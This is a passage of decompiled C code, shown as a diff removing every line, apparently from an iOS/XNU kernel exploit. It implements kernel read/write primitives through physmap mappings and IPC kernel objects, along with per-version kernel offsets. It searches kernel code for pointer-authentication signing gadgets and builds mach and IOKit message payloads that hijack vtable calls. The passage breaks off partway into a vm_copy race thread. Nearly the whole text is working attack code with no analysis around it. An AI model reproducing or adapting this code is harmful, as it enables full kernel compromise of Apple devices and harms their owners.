-__int64 __fastcall check_physmap_page_count(uint32_t *a1, __int64 a2)
-{
-  unsigned int v2; // w9
-  __int64 v3; // x8
-  uint8x8_t v4; // d0
-  vm_size_t v6; // x20
-  char v7; // w22
-  __int64 v8; // x23
-  vm_address_t v9; // x21
-  kern_return_t v10; // w0
-
-  v2 = *(uint32_t *)(a2 + 32);
-  v3 = *(uint64_t *)(a2 + 24);
-  v4 = (uint8x8_t)vcnt_s8((int8x8_t){ .u64 = { v3 } });
-  v4.i16[0] = vaddlv_u8(v4);
-  if ( v2 == v4.i32[0] )
-    return 0;
-  v6 = vm_page_size;
-  v7 = vm_page_shift;
-  if ( *a1 == 3 && (unsigned int)(*(uint32_t *)(a2 + 36) + 1) < 2 )
-    return 0;
-  if ( !v2 )
-    return 0;
-  v8 = 0;
-  while ( (v3 & (1LL << v8)) != 0 )
-  {
-LABEL_10:
-    if ( ++v8 >= (unsigned __int64)v2 )
-      return 0;
-  }
-  v9 = *(uint64_t *)a2 + (unsigned int)((uint32_t)v8 << v7);
-  v10 = vm_protect(mach_task_self_, v9, v6, 0, 0);
-  if ( !v10 )
-  {
-    v10 = vm_protect(mach_task_self_, v9, v6, 0, 3);
-    if ( !v10 )
-    {
-      v3 = *(uint64_t *)(a2 + 24) | (1LL << v8);
-      *(uint64_t *)(a2 + 24) = v3;
-      v2 = *(uint32_t *)(a2 + 32);
-      goto LABEL_10;
-    }
-  }
-  return v10 | 0x80000000;
-}
-
-//----- (000000000000FE30) ----------------------------------------------------
-__int64 __fastcall map_sptm_state_page(__int64 a1)
-{
-  mem_entry_name_port_t v1; // w5
-  __int64 v2; // x20
-  vm_size_t v3; // x19
-  kern_return_t v4; // w0
-  int v5; // w8
-  vm_address_t address; // [xsp+18h] [xbp-28h] BYREF
-
-  v1 = *(uint32_t *)(a1 + 13552);
-  if ( v1 + 1 < 2 )
-    return 708609;
-  address = 0;
-  v3 = vm_page_size;
-  v4 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v1, 0, 0, 3, 3, 2u);
-  if ( v4 )
-    return v4 | 0x80000000;
-  if ( madvise((void *)address, v3, 3) )
-  {
-    v5 = errno;
-    if ( v5 < 0 )
-      v5 = -v5;
-    v2 = v5 | 0x40000000u;
-  }
-  else
-  {
-    v2 = 0;
-  }
-  vm_deallocate(mach_task_self_, address, v3);
-  return v2;
-}
-
-//----- (000000000000FF10) ----------------------------------------------------
-__int64 __fastcall get_physmap_region_ptrs(struct_krwCtx *krwCtx, __int64 a2, __int64 a3, uint64_t *a4)
-{
-  unsigned __int64 v4; // x11
-  int *v5; // x8
-  int v6; // w10
-  int v7; // w14
-  int v8; // w11
-  int v9; // w12
-  int v10; // w13
-  __int64 v11; // x9
-  __int64 v12; // x8
-  bool v13; // cc
-  __int64 result; // x0
-
-  v4 = krwCtx->xnuVersionPacked;
-  if ( v4 >= XNU_VERSION_PACKED(10002, 2, 13, 0, 0) )
-  {
-    v5 = (int *)(a2 + 124);
-    v6 = *(uint32_t *)(a2 + 124);
-    v7 = 2048;
-    v8 = 0x1000000;
-    v9 = 128;
-    v10 = 0x4000;
-    v11 = 88LL;
-    goto LABEL_23;
-  }
-  if ( v4 <= XNU_VERSION_PACKED(8796, 142, 1, 700, 13) )
-  {
-    v5 = (int *)(a2 + 116);
-    v6 = *(uint32_t *)(a2 + 116);
-    v11 = 80LL;
-LABEL_11:
-    v13 = v4 > XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023);
-    if ( v4 <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
-      v10 = 0x80000;
-    else
-      v10 = 0x4000;
-    if ( v4 <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
-      v9 = 4096;
-    else
-      v9 = 128;
-    if ( v4 <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
-      v8 = 0x20000000;
-    else
-      v8 = 0x1000000;
-    if ( v13 )
-      v7 = 2048;
-    else
-      v7 = 0x10000;
-    goto LABEL_23;
-  }
-  v12 = 116LL;
-  if ( krwCtx->xnuMajorVersion < 10002 )
-    v12 = 124LL;
-  v11 = 80LL;
-  if ( krwCtx->xnuMajorVersion < 10002 )
-    v11 = 88LL;
-  v5 = (int *)(a2 + v12);
-  v6 = *v5;
-  if ( v4 <= XNU_VERSION_PACKED(10002, 0, 198, 1023, 1023) )
-    goto LABEL_11;
-  v7 = 2048;
-  v8 = 0x1000000;
-  v9 = 128;
-  v10 = 0x4000;
-LABEL_23:
-  if ( ((v7 | v10) & ~v6) != 0 )
-    return 163857LL;
-  *v5 = v9 | v6 | v8;
-  if ( a4 )
-    *a4 = *(uint64_t *)(a2 + v11);
-  result = 0LL;
-  *(uint64_t *)(a2 + v11) = a3;
-  return result;
-}
-
-//----- (000000000001003C) ----------------------------------------------------
-__int64 __fastcall iokit_kwrite_via_port(
-        struct_krwCtx *krwCtx,
-        __int64 a2,
-        __int64 a3,
-        int a4,
-        __int64 a5,
-        __int64 a6,
-        unsigned __int64 a7)
-{
-  unsigned __int64 v14; // x0
-  vm_size_t v15; // x8
-  unsigned __int64 v16; // x8
-  unsigned __int64 xnuVersionPacked; // x8
-  __int64 v18; // x9
-  __int64 result; // x0
-  int v20; // w10
-  int v21; // w12
-  int v22; // w8
-  int v23; // [xsp+Ch] [xbp-44h] BYREF
-
-  v14 = kernel_va_base_resolver(krwCtx, 0, &v23);
-  if ( !v14 )
-    return 708609;
-  *(__int128 *)(a5 + 16) = 0u;
-  *(__int128 *)(a5 + 32) = 0u;
-  *(uint64_t *)(a5 + 48) = 0;
-  *(__int128 *)a5 = 0u;
-  v15 = a7 / vm_page_size;
-  *(uint64_t *)(a5 + 24) = 0;
-  *(uint64_t *)(a5 + 48) = v15;
-  v16 = (a3 - v14) >> v23;
-  *(uint32_t *)(a5 + 44) = 320;
-  *(uint32_t *)(a5 + 32) = v16;
-  *(uint32_t *)(a5 + 36) = 0x2000000;
-  *(uint64_t *)(a2 + 32) = a6;
-  if ( !a4 )
-    return 0;
-  xnuVersionPacked = krwCtx->xnuVersionPacked;
-  if ( xnuVersionPacked <= XNU_VERSION_PACKED(10002, 2, 12, 1023, 1023) )
-  {
-    if ( xnuVersionPacked < XNU_VERSION_PACKED(8796, 142, 1, 700, 14) )
-    {
-      v18 = 116;
-    }
-    else
-    {
-      v18 = 116;
-      if ( krwCtx->xnuMajorVersion < 10002 )
-        v18 = 124;
-    }
-  }
-  else
-  {
-    v18 = 124;
-  }
-  v20 = *(uint32_t *)(a2 + v18);
-  if ( xnuVersionPacked <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
-    v21 = 589824;
-  else
-    v21 = 18432;
-  if ( (v21 & ~v20) != 0 )
-    return 163857;
-  result = 0;
-  if ( xnuVersionPacked <= XNU_VERSION_PACKED(10002, 0, 115, 1023, 1023) )
-    v22 = 4096;
-  else
-    v22 = 128;
-  *(uint32_t *)(a2 + v18) = v20 | v22;
-  return result;
-}
-
-//----- (00000000000101AC) ----------------------------------------------------
-void __fastcall cfdict_set_int32(CFMutableDictionaryRef a1, const void *a2)
-{
-  CFNumberRef v4; // x21
-  int valuePtr; // [xsp+Ch] [xbp-24h] BYREF
-
-  valuePtr = 32;
-  v4 = CFNumberCreate(0, kCFNumberIntType, &valuePtr);
-  CFDictionarySetValue(a1, a2, v4);
-  CFRelease(v4);
-}
-
-//----- (0000000000010214) ----------------------------------------------------
-__int64 __fastcall setup_vm_for_kwrite(struct_krwCtx *krwCtx, __int64 a2, unsigned __int64 a3)
-{
-  __int64 v5; // x19
-  __int64 v6; // x22
-  int has_flag; // w0
-  __int64 v8; // x8
-  unsigned __int64 v9; // x0
-  unsigned __int64 v10; // x22
-  vm_size_t v11; // x21
-  mem_entry_name_port_t v12; // w5
-  kern_return_t v14; // w0
-  int v15; // w8
-  vm_address_t v16; // x9
-  vm_address_t v17; // x9
-  unsigned __int64 v18; // [xsp+10h] [xbp-70h] BYREF
-  __int64 v19; // [xsp+18h] [xbp-68h] BYREF
-  uint64_t v20[7]; // [xsp+20h] [xbp-60h] BYREF
-  vm_address_t address; // [xsp+58h] [xbp-28h] BYREF
-
-  v5 = 163855;
-  if ( (unsigned int)krw_read_thunk(
-                       krwCtx,
-                       8LL * (unsigned int)((a3 - *(uint64_t *)(a2 + 13568)) >> vm_page_shift) + *(uint64_t *)(a2 + 13576),
-                       8,
-                       &v19) )
-  {
-    if ( (~(uint8_t)v19 & 3) != 0 )
-      return 708628;
-    v6 = v19 & 0xFFFFFFFFFFFCLL;
-    has_flag = krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_CPU_A8);
-    v8 = 32;
-    if ( !has_flag )
-      v8 = 8;
-    if ( kread_physmap_decorated(krwCtx, v6 + v8 - 0xFFFFFFFFFFE8LL, &v18) )
-    {
-      v9 = map_physpage_for_kobj(krwCtx, v18 + ((a3 >> 10) & 0xC));
-      if ( !v9 )
-        return 163878;
-      v10 = v9;
-      address = 0;
-      v11 = vm_page_size;
-      v12 = *(uint32_t *)&krwCtx->ioSurfaceMemEntryMaybe;
-      if ( v12 + 1 > 1 )
-      {
-        v14 = vm_map(mach_task_self_, &address, vm_page_size, 0, 1, v12, v9 & ~krwCtx->pageMask, 0, 3, 3, 2u);
-        if ( v14 )
-          return v14 | 0x80000000;
-      }
-      else if ( (unsigned int)physmap_map_cached(krwCtx, v9, (__int64)v20) )
-      {
-        return 0xFFFFFFFFLL;
-      }
-      v15 = *(uint32_t *)&krwCtx->ioSurfaceMemEntryMaybe;
-      if ( (unsigned int)(v15 + 1) >= 2 )
-        v16 = address;
-      else
-        v16 = v20[0];
-      v17 = (krwCtx->pageMask & v10) + v16;
-      if ( *(uint16_t *)v17 )
-      {
-        v5 = 0;
-        atomic_fetch_add((atomic_ushort *volatile)v17, 0xFFFFu);
-        *(uint16_t *)(v17 + 2) = 0x4000;
-        v15 = *(uint32_t *)&krwCtx->ioSurfaceMemEntryMaybe;
-      }
-      else
-      {
-        v5 = 163857;
-      }
-      if ( (unsigned int)(v15 + 1) >= 2 )
-        vm_deallocate(mach_task_self_, address, v11);
-      else
-        physmap_unmap_cached(krwCtx, (__int64)v20);
-    }
-  }
-  return v5;
-}
-
-//----- (0000000000010414) ----------------------------------------------------
-__int64 __fastcall get_ipc_kobject_offset(struct_krwCtx *krwCtx, __int64 a2, unsigned __int64 *a3)
-{
-  int xnuMajorVersion; // w8
-  __int64 result; // x0
-  __int64 v7; // x8
-  int v9; // w8
-  unsigned __int64 v10; // [xsp+8h] [xbp-28h] BYREF
-
-  xnuMajorVersion = krwCtx->xnuMajorVersion;
-  result = 163884;
-  if ( xnuMajorVersion <= 8791 )
-  {
-    if ( (unsigned int)(xnuMajorVersion - 8019) >= 2 )
-    {
-      if ( xnuMajorVersion != 7195 )
-        return result;
-      v7 = 248;
-      goto LABEL_12;
-    }
-LABEL_10:
-    v7 = 256;
-    if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
-      v7 = 248;
-LABEL_12:
-    if ( !kread_physmap_decorated(krwCtx, v7 + a2, &v10) )
-      return 163855;
-    if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) || (v9 = kread_physmap_decorated(krwCtx, v10, &v10), result = 163855, v9) )
-    {
-      if ( validate_kaddr_range(krwCtx, v10) )
-      {
-        result = 0;
-        *a3 = v10;
-      }
-      else
-      {
-        return 163878;
-      }
-    }
-    return result;
-  }
-  if ( xnuMajorVersion == 8796 || xnuMajorVersion == 8792 )
-    goto LABEL_10;
-  return result;
-}
-
-//----- (0000000000010534) ----------------------------------------------------
-__int64 __fastcall read_ipc_port_table_entry(struct_krwCtx *krwCtx, __int64 a2, unsigned int a3, unsigned __int64 *a4)
-{
-  __int64 v7; // x19
-  __int64 v9; // [xsp+8h] [xbp-38h] BYREF
-  __int64 v10; // [xsp+10h] [xbp-30h] BYREF
-  unsigned __int64 v11; // [xsp+18h] [xbp-28h] BYREF
-
-  *a4 = 0;
-  v9 = 0;
-  v7 = get_ipc_kobject_offset(krwCtx, a2, &v11);
-  if ( !(uint32_t)v7 )
-  {
-    v7 = 163855;
-    if ( kread_physmap_decorated(krwCtx, v11 + 8LL * a3, (unsigned __int64 *)&v10) )
-    {
-      if ( validate_kaddr_range(krwCtx, v10) )
-      {
-        if ( kread_physmap_decorated(krwCtx, v10 + 16, (unsigned __int64 *)&v9) )
-        {
-          validate_kaddr_range(krwCtx, v9);
-          if ( kread_physmap_decorated(krwCtx, v9 + 56, a4) )
-            return 0;
-          else
-            return 163855;
-        }
-      }
-      else
-      {
-        return 163878;
-      }
-    }
-  }
-  return v7;
-}
-
-//----- (0000000000010604) ----------------------------------------------------
-__int64 __fastcall kwrite_u64_via_kobject(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
-{
-  if ( (unsigned int)kwrite_with_retry(KRWCTX_FROM_RAW_FIELD(a1, 32), a2, a3, a4) )
-    return 0;
-  else
-    return 5;
-}
-
-//----- (000000000001062C) ----------------------------------------------------
-__int64 __fastcall kread_via_kobject(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
-{
-  if ( (unsigned int)krw_read_thunk(KRWCTX_FROM_RAW_FIELD(a1, 32), a2, a4, (void *)a3) )
-    return 0;
-  else
-    return 5;
-}
-
-//----- (0000000000010660) ----------------------------------------------------
-__int64 __fastcall kread_u64_value(__int64 a1, __int64 a2)
-{
-  __int64 v3; // [xsp+8h] [xbp-8h] BYREF
-
-  if ( (unsigned int)krw_read_thunk(KRWCTX_FROM_RAW_FIELD(a1, 32), a2, 8, &v3) )
-    return v3;
-  else
-    return 0;
-}
-
-//----- (0000000000010698) ----------------------------------------------------
-__int64 __fastcall kwrite_u64_to_addr(__int64 a1, __int64 a2, __int64 a3)
-{
-  __int64 v4; // [xsp+8h] [xbp-8h] BYREF
-
-  v4 = a3;
-  if ( (unsigned int)kwrite_with_retry(KRWCTX_FROM_RAW_FIELD(a1, 32), a2, (__int64)&v4, 8) )
-    return 0;
-  else
-    return 5;
-}
-
-//----- (00000000000106D4) ----------------------------------------------------
-__int64 __fastcall kread_u32_value(__int64 a1, unsigned __int64 a2)
-{
-  unsigned int v3; // [xsp+Ch] [xbp-4h] BYREF
-
-  if ( kread_u32(*(uint64_t *)(a1 + 0x20), a2, &v3) )
-    return v3;
-  else
-    return 0;
-}
-
-//----- (0000000000010708) ----------------------------------------------------
-__int64 __fastcall flush_cpu_cache(__int64 a1, mach_vm_address_t a2, int a3)
-{
-  if ( noppl_kwrite32(*(uint64_t *)(a1 + 32), a2, a3) )
-    return 0;
-  else
-    return 5;
-}
-
-struct kobj_snapshot_buf
-{
-  uint64_t *sectionHeader;
-  uint8_t *bytes;
-  uint64_t size;
-};
-
-#define LOOKUP_KOBJ_PATTERN(snapshot, words, masks, count) \
-  kobj_snapshot_lookup_wrapper((snapshot), (__int64)(words), (__int64)(masks), (count))
-
-//----- (0000000000010730) ----------------------------------------------------
-__int64 __fastcall setup_iokit_notify_dispatch(uint64_t *a1, uint64_t **a2)
-{
-  a1[1] = 176;
-
-  // qword_48000: notification selector, stored at the match + 4.
-  const uint32_t notificationSelectorWords[] = {
-    0xD280000F, // mov x15, #0
-    0x00000000,
-    0xD280000F, // mov x15, #imm, register fixed by mask
-    0x00000000,
-    0xD280000F, // mov x15, #imm, register fixed by mask
-  };
-  const uint32_t notificationSelectorMasks[] = {
-    0xFFFFFFFF,
-    0x00000000,
-    0xFFFFFC1F,
-    0x00000000,
-    0xFFFFFC1F,
-  };
-  a1[0] = LOOKUP_KOBJ_PATTERN(a2, notificationSelectorWords, notificationSelectorMasks, 5) + 4;
-
-  // qword_48010/qword_48018/qword_48040: PACGA gadget cluster:
-  // pacga x1 with x0/x2/x3/x4/x5, store it at [x0,#0x128], then return.
-  const uint32_t pacgaClusterWords[] = {
-    0x9AC03021, // pacga x1, x1, x0
-    0x9262F842, // and   x2, x2, #0xffffffffdfffffff
-    0x9AC13041, // pacga x1, x2, x1
-    0x9AC13061, // pacga x1, x3, x1
-    0x9AC13081, // pacga x1, x4, x1
-    0x9AC130A1, // pacga x1, x5, x1
-    0xF9009401, // str   x1, [x0, #0x128]
-    0xD65F03C0, // ret
-  };
-  const uint32_t pacgaClusterMasks[] = {
-    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
-    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
-  };
-  unsigned __int64 pacgaCluster = LOOKUP_KOBJ_PATTERN(a2, pacgaClusterWords, pacgaClusterMasks, 8);
-  a1[2] = pacgaCluster;
-  a1[3] = pacgaCluster + 20;
-  a1[8] = pacgaCluster + 28;
-
-  const uint32_t allExact3[] = { 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF };
-
-  // qword_48020: IA-key signing/store gadget.
-  const uint32_t paciaStoreWords[] = {
-    0xDAC10230, // pacia x16, x17
-    0xF9000010, // str   x16, [x0]
-    0xD65F03C0, // ret
-  };
-  a1[4] = LOOKUP_KOBJ_PATTERN(a2, paciaStoreWords, allExact3, 3);
-
-  // qword_48028: DA-key signing/store twin of qword_48020.
-  const uint32_t pacdaStoreWords[] = {
-    0xDAC10A30, // pacda x16, x17
-    0xF9000010, // str   x16, [x0]
-    0xD65F03C0, // ret
-  };
-  a1[5] = LOOKUP_KOBJ_PATTERN(a2, pacdaStoreWords, allExact3, 3);
-
-  // qword_48030: interrupt/thread-state helper.
-  const uint32_t threadStateHelperWords[] = {
-    0xD5034FDF, // msr DAIFSet, #0xf
-    0xD538D083, // mrs x3, TPIDR_EL1
-    0x910002BF, // mov sp, x21
-  };
-  a1[6] = LOOKUP_KOBJ_PATTERN(a2, threadStateHelperWords, allExact3, 3);
-
-  // qword_48038: kernel message/page-info helper.
-  const uint32_t pageInfoHelperWords[] = {
-    0xF9000E60, // str x0, [x19, #0x18]
-    0xF94046E0, // ldr x0, [x23, #0x88]
-    0x00000000,
-    0xD2808471, // mov x17, #0x423
-    0xD73F0911, // blraa x8, x17
-  };
-  const uint32_t pageInfoHelperMasks[] = {
-    0xFFFFFFFF,
-    0xFFFFFFFF,
-    0x00000000,
-    0xFFFFFFFF,
-    0xFFFFFFFF,
-  };
-  a1[7] = LOOKUP_KOBJ_PATTERN(a2, pageInfoHelperWords, pageInfoHelperMasks, 5);
-  return 0;
-}
-// 42F30: using guessed type __int128 xmmword_42F30;
-// 42F44: using guessed type __int128 xmmword_42F44;
-// 42F58: using guessed type __int128 xmmword_42F58;
-// 42F78: using guessed type __int128 xmmword_42F78;
-// 42F8C: using guessed type __int128 xmmword_42F8C;
-
-//----- (000000000001091C) ----------------------------------------------------
-unsigned __int64 __fastcall send_port_alloc_msg(__int64 a1, int a2)
-{
-  size_t v4; // x20
-  mach_msg_header_t *v5; // x0
-  mach_port_name_t v6; // w8
-  __int64 v7; // x20
-  __int64 v8; // x0
-  struct_krwCtx *v9; // x21
-  __int64 v10; // x0
-  unsigned __int64 v11; // x21
-  mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF
-
-  name = 0;
-  mach_port_allocate(mach_task_self_, 1u, &name);
-  v4 = (unsigned int)(a2 + 24);
-  v5 = (mach_msg_header_t *)calloc(1u, v4);
-  v6 = name;
-  v5->msgh_size = v4;
-  v5->msgh_remote_port = v6;
-  v5->msgh_bits = 21;
-  mach_msg_send(v5);
-  v7 = krw_lookup_via_ctx_field32(*(uint64_t *)(a1 + 8), name) + 32;
-  v8 = kread_u64_value(*(uint64_t *)(a1 + 8), v7);
-  v9 = KRWCTX_FROM_RAW_FIELD(*(uint64_t *)(a1 + 8), 32);
-  v10 = kread_u64_value(*(uint64_t *)(a1 + 8), v8 + 16);
-  v11 = krw_xpac_vaddr_2(v9, v10);
-  kwrite_u64_to_addr(*(uint64_t *)(a1 + 8), v7, 0);
-  mach_port_destroy(mach_task_self_, name);
-  return v11 + 32;
-}
-
-//----- (00000000000109F8) ----------------------------------------------------
-__int64 __fastcall setup_kernel_exploit_msg(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, __int64 a5, __int64 a6, __int64 a7)
-{
-  __int64 v14; // x26
-  uint64_t *v15; // x8
-  __int64 v16; // x9
-  mach_msg_header_t *v17; // x0
-  mach_port_name_t v18; // w4
-
-  v14 = *(uint64_t *)(a1 + 16);
-  *(uint32_t *)(v14 + 1032) = *(uint32_t *)(v14 + 8);
-  *(uint32_t *)(v14 + 1036) = 0;
-  *(uint32_t *)(v14 + 1044) = *(uint32_t *)(v14 + 20) + 100;
-  memcpy((void *)(v14 + 1068), (const void *)(v14 + 56), 0x210u);
-  *(NDR_record_t *)(v14 + 1048) = NDR_record;
-  *(uint32_t *)(v14 + 1064) = 132;
-  *(uint64_t *)(v14 + 1056) = 0x1100000000LL;
-  *(uint64_t *)(v14 + 1024) = 0x23C00000012LL;
-  memcpy(*(void **)(a1 + 24), (const void *)(a1 + 44), 0x130u);
-  v16 = *(uint64_t *)(a1 + 16);
-  v15 = *(uint64_t **)(a1 + 24);
-  v15[1] = a2;
-  v15[2] = a3;
-  v15[3] = a4;
-  v15[4] = a5;
-  v15[5] = a6;
-  v15[6] = a7;
-  mach_msg_send((mach_msg_header_t *)(v16 + 1024));
-  bzero(*(void **)(a1 + 16), 0x800u);
-  v17 = *(mach_msg_header_t **)(a1 + 16);
-  v18 = *(uint32_t *)(a1 + 368);
-  return mach_msg(v17, 2, 0, 0x400u, v18, 0, 0);
-}
-// 10AF8: variable 'vars8' is possibly undefined
-
-//----- (0000000000010B08) ----------------------------------------------------
-__int64 __fastcall mach_vm_page_info_query(uint64_t *a1, __int64 a2, unsigned int a3, __int64 a4, __int64 a5, __int64 a6)
-{
-  __int64 v7; // x9
-  __int64 v8; // x10
-  __int64 v9; // x6
-  __int64 v10; // x9
-  __int64 result; // x0
-
-  v7 = 0;
-  v8 = a1[44];
-  do
-  {
-    *(uint64_t *)(v8 + 8 + v7) = *(uint64_t *)(a6 + v7);
-    v7 += 8;
-  }
-  while ( v7 != 240 );
-  *(uint64_t *)(v8 + 256) = a5;
-  *(uint64_t *)((char *)a1 + 220) = a1[45];
-  v10 = *(uint64_t *)(a6 + 128);
-  v9 = *(uint64_t *)(a6 + 136);
-  *(uint64_t *)(v8 + 264) = a2;
-  *(uint32_t *)(v8 + 272) = a3;
-  *(uint64_t *)(v8 + 248) = a4;
-  *(uint64_t *)(v8 + 136) = v10;
-  *(uint64_t *)(v8 + 144) = v9;
-  result = setup_kernel_exploit_msg((__int64)a1, a1[45], a2, a3, a4, v10, v9);
-  *(uint64_t *)((char *)a1 + 220) = a1[47];
-  return result;
-}
-
-//----- (0000000000010B90) ----------------------------------------------------
-__int64 __fastcall query_phys_page_info(__int64 a1, __int64 a2, __int64 a3)
-{
-  *(uint64_t *)(a3 + 168) = *(uint64_t *)(a1 + 376);
-  return mach_vm_page_info_query((uint64_t *)a1, a2, *(uint32_t *)(a1 + 656), *(uint64_t *)(a1 + 624), *(uint64_t *)(a1 + 632), a3);
-}
-
-//----- (0000000000010C2C) ----------------------------------------------------
-__int64 __fastcall setup_ipc_port_exploit_payload(__int64 a1, __int64 a2, int a3, __int64 a4)
-{
-  __int64 v7; // x4
-  __int64 v8; // x22
-  __int64 v9; // x23
-  __int64 v10; // x24
-  __int64 v11; // x8
-  __int64 v12; // x10
-  __int64 v13; // x0
-  __int64 v14; // x1
-  uint64_t payload[30]; // [xsp+0h] [xbp-140h] BYREF
-
-  memset(payload, 0, sizeof(payload));
-  v7 = *(uint64_t *)(a1 + 632);
-  if ( v7 )
-  {
-    v8 = *(uint64_t *)(a1 + 632);
-    if ( (*(uint8_t *)(a1 + 652) & 1) == 0 )
-      v8 = *(uint64_t *)(a1 + 632);
-  }
-  else
-  {
-    v8 = 0;
-  }
-  if ( a3 >= 1 )
-  {
-    v9 = 0;
-    v10 = (unsigned int)a3;
-    do
-    {
-      if ( (unsigned int)v9 < 8 || (uint32_t)v9 == 15 )
-      {
-        payload[v9] = *(uint64_t *)(a4 + 8 * v9);
-      }
-      else
-      {
-        kwrite_u64_to_addr(*(uint64_t *)(a1 + 8), v8, *(uint64_t *)(a4 + 8 * v9));
-        v8 += 8;
-      }
-      ++v9;
-    }
-    while ( v10 != v9 );
-    v7 = *(uint64_t *)(a1 + 632);
-  }
-  v11 = *(uint64_t *)(a1 + 664);
-  v12 = *(uint64_t *)(a1 + 376);
-  payload[19] = v11 + 61416;
-  payload[21] = v12;
-  payload[23] = v11 + 61312;
-  mach_vm_page_info_query((uint64_t *)a1, a2, *(uint32_t *)(a1 + 660), qword_48038, v7, (__int64)payload);
-  v13 = *(uint64_t *)(a1 + 8);
-  v14 = *(uint64_t *)(a1 + 664) + 61440LL;
-  return kread_u64_value(v13, v14);
-}
-
-//----- (0000000000010DEC) ----------------------------------------------------
-__int64 __fastcall send_iokit_notification(__int64 a1, __int64 a2, uint64_t *a3)
-{
-  uint64_t payload[29]; // [xsp+10h] [xbp-100h] BYREF
-
-  memset(payload, 0, sizeof(payload));
-  for ( __int64 i = 0; i != 29; ++i )
-    payload[i] = a3[i];
-  return (*(__int64 (__fastcall **)(__int64, __int64, __int64, uint64_t *))(*(uint64_t *)a1 + 8LL))(a1, a2, 29, payload);
-}
-
-//----- (0000000000010EA8) ----------------------------------------------------
-__int64 __fastcall prepare_iokit_notification_payload(__int64 a1, __int64 a2, __int64 a3)
-{
-  __int64 v4; // x0
-  __int64 v5; // x1
-  uint64_t payload[30]; // [xsp+8h] [xbp-108h] BYREF
-
-  memset(payload, 0, sizeof(payload));
-  payload[0] = *(uint64_t *)(a1 + 664) + 61440LL;
-  payload[16] = a2;
-  payload[17] = a3;
-  query_phys_page_info(a1, qword_48020, (__int64)payload);
-  v4 = *(uint64_t *)(a1 + 8);
-  v5 = *(uint64_t *)(a1 + 664) + 61440LL;
-  return kread_u64_value(v4, v5);
-}
-
-//----- (0000000000010F6C) ----------------------------------------------------
-__int64 __fastcall vtable_call_slot2(__int64 a1, __int64 a2)
-{
-  return (*(__int64 (__fastcall **)(__int64, __int64, uint64_t))(*(uint64_t *)a1 + 16LL))(a1, a2, 0);
-}
-
-//----- (0000000000010F84) ----------------------------------------------------
-__int64 __fastcall setup_notification_extra_args(__int64 a1, __int64 a2, __int64 a3)
-{
-  __int64 v4; // x0
-  __int64 v5; // x1
-  uint64_t payload[30]; // [xsp+8h] [xbp-118h] BYREF
-
-  memset(payload, 0, sizeof(payload));
-  payload[0] = *(uint64_t *)(a1 + 664) + 61696LL;
-  payload[16] = a2;
-  payload[17] = a3;
-  query_phys_page_info(a1, qword_48028, (__int64)payload);
-  v4 = *(uint64_t *)(a1 + 8);
-  v5 = *(uint64_t *)(a1 + 664) + 61696LL;
-  return kread_u64_value(v4, v5);
-}
-
-//----- (0000000000011054) ----------------------------------------------------
-__int64 __fastcall trigger_kstate_write_vtable(__int64 *a1, __int64 a2, __int64 a3)
-{
-  uint64_t payload[6]; // [xsp+8h] [xbp-48h] BYREF
-
-  memset(payload, 0, sizeof(payload));
-  payload[0] = a1[83] + 61400;
-  payload[1] = a3;
-  (*(void (__fastcall **)(__int64 *, __int64, __int64, uint64_t *))(*a1 + 8))(a1, qword_48018, 6, payload);
-  return kread_u64_value(a1[1], a1[83] + 61696);
-}
-
-//----- (00000000000110FC) ----------------------------------------------------
-__int64 __fastcall pack_exploit_args_buffer(
-        __int64 a1,
-        __int64 a2,
-        __int64 a3,
-        __int64 a4,
-        __int64 a5,
-        __int64 a6,
-        __int64 a7,
-        __int64 a8,
-        __int64 a9)
-{
-  volatile __int64 *stackArgs; // [xsp+8h] [xbp-98h]
-  uint64_t payload[16]; // [xsp+10h] [xbp-90h] BYREF
-
-  stackArgs = (volatile __int64 *)((char *)__builtin_frame_address(0) + 16);
-  memset(payload, 0, sizeof(payload));
-  for ( __int64 i = 0; i != 8; ++i )
-    payload[i] = stackArgs[i];
-  payload[15] = a2;
-  return (*(__int64 (__fastcall **)(__int64, __int64, __int64, uint64_t *))(*(uint64_t *)a1 + 8LL))(
-           a1,
-           qword_48000,
-           16,
-           payload);
-}
-
-//----- (00000000000111B4) ----------------------------------------------------
-__int64 __fastcall call_vtable_ptr_slot2(__int64 a1)
-{
-  return (*(__int64 (**)(void))(a1 + 16))();
-}
-
-//----- (00000000000111C0) ----------------------------------------------------
-__int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
-{
-  struct vmcopy_race_thread_block
-  {
-    uint64_t isa;
-    uint64_t flags;
-    void *invoke;
-    void *descriptor;
-    __int64 *state;
-    thread_act_t *targetThread;
-    __int128 *threadList;
-    semaphore_t readySemaphore;
-    semaphore_t resumeSemaphore;
-  };
-  struct vmcopy_write_physmap_block
-  {
-    uint64_t isa;
-    uint64_t flags;
-    __int64 (__fastcall *invoke)(__int64, unsigned __int8);
-    void *descriptor;
-    __int64 ctx;
-    __int64 kaddr;
-    unsigned __int64 pteIndex;
-    unsigned __int64 pteAddr;
-    unsigned __int64 pageTableBase;
-    vm_size_t size;
-    __int64 savedNext;
-    __int64 savedPrev;
-    int pageShift;
-    mem_entry_name_port_t objectHandle;
-  };
-  struct vmcopy_trigger_thread_block
-  {
-    uint64_t isa;
-    uint64_t flags;
-    void *invoke;
-    void *descriptor;
-    __int64 ctx;
-    __int64 *state;
-    semaphore_t readySemaphore;
-    semaphore_t resumeSemaphore;
-  };
-  __int64 *v2; // x20
-  unsigned __int64 v3; // x24
-  __int64 v4; // x0
-  __int64 v5; // x23
-  unsigned int v6; // w0
-  unsigned __int64 v7; // x27
-  __int64 v8; // x22
-  unsigned int v9; // w0
-  int v10; // w21
-  __int64 v11; // x0
